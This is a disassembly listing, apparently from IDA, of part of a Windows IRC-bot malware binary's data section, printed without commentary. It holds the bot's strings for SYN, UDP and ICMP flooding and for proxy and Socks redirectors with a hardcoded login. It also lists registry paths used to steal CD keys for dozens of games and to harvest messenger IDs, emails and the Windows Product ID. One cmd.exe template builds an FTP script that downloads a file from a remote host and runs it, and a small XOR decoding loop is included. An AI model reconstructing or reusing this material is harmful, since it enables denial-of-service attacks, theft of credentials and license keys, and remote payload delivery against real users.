					; DATA XREF: sub_427990+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
		align 10h
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
		align 4
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427B10+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427B10+2Bo
		align 10h
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427B10+23o
		align 10h
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427B10+Co
		align 10h
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
		align 10h
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 10h
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 10h
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 4
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 10h
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 10h
		dd 0
off_446EF4	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 10h
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
					; ___:0042A147o
		align 10h
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
					; ___:0042A129o
		align 10h
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429F54o
		align 10h
aChunked	db 'chunked',0          ; DATA XREF: ___:00429F11o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
		align 10h
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429E2Do
		align 8
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C8Eo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		align 10h
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C59o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 4
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429B5Bo
					; ___:00429FA0o
		align 4
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
		align 10h
		dd 0
asc_4471E4	db 0Dh,0Ah,0		; DATA XREF: ___:00429A1Co
					; ___:00429ADCo ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:004299E7o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:004297B2o
		align 10h
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:0042977Do
		dd 0
off_44720C	dd offset byte_544547	; DATA XREF: ___:004296B8o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42ACB0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
		align 10h
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 4
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_4472EC	dd 1000005h, 0	dword_4472F4	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 10h
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473BCo
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 4
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 10h
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 10h
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 10h
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 8
dword_447498	dd 524F5453h	byte_44749C	db 0			; DATA XREF: sub_42E5B0+EDr
		align 10h
dword_4474A0	dd 52544552h	byte_4474A4	db 0			; DATA XREF: sub_42E5B0+D3r
		align 4
dword_4474A8	dd 5453494Ch	byte_4474AC	db 0			; DATA XREF: sub_42E5B0+B8r
		align 10h
dword_4474B0	dd 54534C4Eh	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+9Er
		align 4
dword_4474B8	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 4
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 10h
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 4
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 8
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 10h
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 10h
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 10h
off_447670	dd offset aSocketOpenFail ; DATA XREF: ___:0042F64Do
					; "socket open failed"
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 8
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 10h
word_4476B0	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476B4	dd 25206425h, 64hdword_4476BC	dd 455A4953h, 732520h, 0dword_4476C8	dd 4D54444Dh, 732520h, 0dword_4476D4	dd 4F544E52h, 732520h, 0dword_4476E0	dd 52464E52h, 732520h, 0dword_4476EC	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 10h
dword_447700	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 10h
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <€>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 448854h, 448F30h,	448820h, 80000002h, 4487C0h
		dd 448F30h, 448790h, 80000002h,	448738h, 448F30h, 448714h
		dd 80000002h, 4486CCh, 448F30h,	4486B4h, 80000002h, 448670h
		dd 448F30h, 448648h, 80000002h,	44860Ch, 448F30h, 4485D8h
		dd 80000002h, 448578h, 448F30h,	44854Ch, 80000002h, 448528h
		dd 448520h, 4484F4h, 80000002h,	4484CCh, 448520h, 4484B4h
		dd 80000001h, 448484h, 448480h,	448470h, 80000002h, 448434h
		dd 448F30h, 448424h, 80000002h,	4483E8h, 448F30h, 4483D4h
		dd 80000002h, 44838Ch, 448F30h,	448370h, 80000002h, 44832Ch
		dd 448F30h, 448310h, 80000001h,	4482E8h, 448480h, 4482D8h
		dd 80000001h, 4482B0h, 448480h,	448290h, 80000002h, 448254h
		dd 448250h, 448234h, 80000002h,	448210h, 448208h, 4481F0h
		dd 80000001h, 4481C4h, 4481BCh,	448198h, 80000002h, 44814Ch
		dd 448F30h, 448124h, 80000002h,	4480D0h, 448F30h, 448098h
		dd 80000002h, 448034h, 448F30h,	448000h, 80000002h, 447FA0h
		dd 448F30h, 447F84h, 80000002h,	447F3Ch, 448F30h, 447F20h
		dd 80000002h, 447ED8h, 448F30h,	447EC8h, 80000002h, 447E8Ch
		dd 448F30h, 447E7Ch, 80000002h,	447E40h, 448F30h, 447E18h
		dd 80000002h, 447DC4h, 448F30h,	447D9Ch, 80000002h, 447D4Ch
		dd 448F30h, 447D30h, 80000002h,	447D08h, 448480h, 447CF4h
		dd 80000002h, 447CBCh, 448F30h,	447C8Ch, 80000002h, 447C34h
		dd 448F30h, 447C18h, 80000001h,	447BC8h, 447BC0h, 447BA4h
		dd 80000002h, 447B60h, 447B54h,	447B3Ch, 80000001h, 447B0Ch
		dd 447B00h, 447AE0h, 80000002h,	447AA4h, 447BC0h, 447A84h
		dd 80000002h, 447A48h, 447BC0h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447780o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 4
		dd 0
dword_4488EC	dd 3A6D6961h, 732520h, 0dword_4488F8	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_448A2C	dd 3A6E736Dh, 732520h, 0dword_448A38	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B64:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B6F:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B7B:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B87:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448B98:				; CODE XREF: ___:00448B9Dj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448B98
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_448C90	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F30	db 0			; DATA XREF: sub_403530+95o
					; sub_404690+200o ...
		align 4
dword_448F34	dd 0							; sub_4246D0+11o ...
dword_448F38	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4BFr ...
		align 10h
dword_448F40	dd 0							; ___:0040D425w ...
		dd 8 dup(0)
dword_448F64	dd 41h dup(0)						; ___:0040D460o ...
dword_449068	dd 0							; ___:loc_40D4B4r ...
dword_44906C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D42Fr ...
dword_449070	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D660+CAw
dword_449074	dd 0							; sub_40D660+E3r
		dd 11h dup(0)
dword_4490BC	dd 0							; sub_410030+47Dr
dword_4490C0	dd 0							; sub_410030+515r ...
dword_4490C4	dd 0							; sub_410030+655r ...
dword_4490C8	dd 0							; sub_410030+B79r ...
dword_4490CC	dd 0							; sub_410030+74Br
dword_4490D0	dd 0							; sub_410030+828r
dword_4490D4	dd 0							; sub_410030+77Cr
dword_4490D8	dd 0							; sub_410030+4DDr ...
dword_4490DC	dd 0							; sub_410030+311r
dword_4490E0	dd 0							; sub_410030+34Dr ...
dword_4490E4	dd 0							; sub_410030+33Dr
dword_4490E8	dd 0							; sub_410030+3D2r
dword_4490EC	dd 0							; sub_410030+E93r
dword_4490F0	dd 0							; sub_410030+1220r ...
dword_4490F4	dd 0							; sub_4120B0+4DAr
dword_4490F8	dd 0							; sub_410030+683r
dword_4490FC	dd 0							; sub_410030+6B5r
dword_449100	dd 0							; sub_410030+1252r
		dd 5 dup(0)
dword_449118	dd 10h dup(0)						; ___:004040AFo ...
		db 2 dup(0)
byte_44915A	db 0			; DATA XREF: sub_409B10r sub_409B80r
		align 4
		db 3 dup(0)
byte_44915F	db 0			; DATA XREF: sub_40D660+10Fr
		db 0
byte_449161	db 0			; DATA XREF: sub_40DBF0r
word_449162	dw 0			; DATA XREF: sub_40DBF0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449277	db 0			; DATA XREF: ___:00412F9Ao
					; ___:0041304Fo ...
		db 3 dup(0)
byte_44927B	db 0			; DATA XREF: sub_41F960:loc_41F99Dr
		align 10h
dword_449280	dd 12h dup(0)						; sub_410030+114o
		db 0
byte_4492C9	db 3 dup(0)		; DATA XREF: ___:00408BA3o
					; sub_410030+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449312	dw 0			; DATA XREF: ___:00408B7Ao
					; sub_410030+132o
		dd 6 dup(0)
word_44932C	dw 0			; DATA XREF: sub_410030+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44935B	db 0			; DATA XREF: ___:00408BCCo
					; sub_410030+17Co ...
		dd 12h dup(0)
dword_4493A4	dd 12h dup(0)						; sub_410030+F7o ...
		db 0
byte_4493ED	db 3 dup(0)		; DATA XREF: ___:00408B05o
					; sub_410030+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44947F	db 0			; DATA XREF: ___:00408BF5o
					; sub_410030+19Ao
		dd 24h dup(0)
		db 0
byte_449511	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44955A	dw 0			; DATA XREF: ___:00412F6Ao
					; ___:00412F89o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44964F	dd 0							; sub_41F030+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449729	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449804	db 0			; DATA XREF: sub_410030+842r
		align 4
		dd 0Bh dup(0)
dword_449834	dd 18h dup(0)						; sub_40EE40+97o ...
		db 2 dup(0)
byte_449896	db 0			; DATA XREF: sub_404CC0+258r
					; sub_41D930+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498DF	db 0			; DATA XREF: sub_404CC0:loc_404F30r
					; sub_41D930:loc_41DFB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44990F	db 0			; DATA XREF: sub_404CC0+279o
					; sub_41D930+68Fo ...
		dd 12h dup(0)
dword_449958	dd 2Bh dup(0)						; sub_41F030+630o ...
dword_449A04	dd 0				dd 11h dup(0)
		db 0
dword_449A4D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DB8	db 0			; DATA XREF: sub_41F030+146r
					; sub_41F030+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC5E	dw 0			; DATA XREF: sub_404690+1BDo
					; sub_404B60+31o ...
		db 2 dup(0)
word_44AC62	dw 0			; DATA XREF: sub_404B60+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACD6	dw 0			; DATA XREF: sub_4076B0+36o
					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD70	dd 86h dup(0)						; sub_404CC0+27Eo ...
		db 3 dup(0)
byte_44AF8B	db 0			; DATA XREF: sub_426930+3Bw
					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B18B	dd 0							; sub_4269A0+4Fw ...
dword_44B18F	dd 0							; ___:0042419Dw ...
dword_44B193	dd 0							; sub_4269A0+5Dr ...
dword_44B197	dd 0							; sub_4269A0+8Cr ...
dword_44B19B	dd 0							; sub_4269A0+9Dr
dword_44B19F	dd 0							; ___:004241D1r ...
byte_44B1A3	db 0			; DATA XREF: sub_426930+42w
					; sub_4269A0+85w
dword_44B1A4	dd 2828h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446EF4o
dword_455248	dd 0EB85h dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
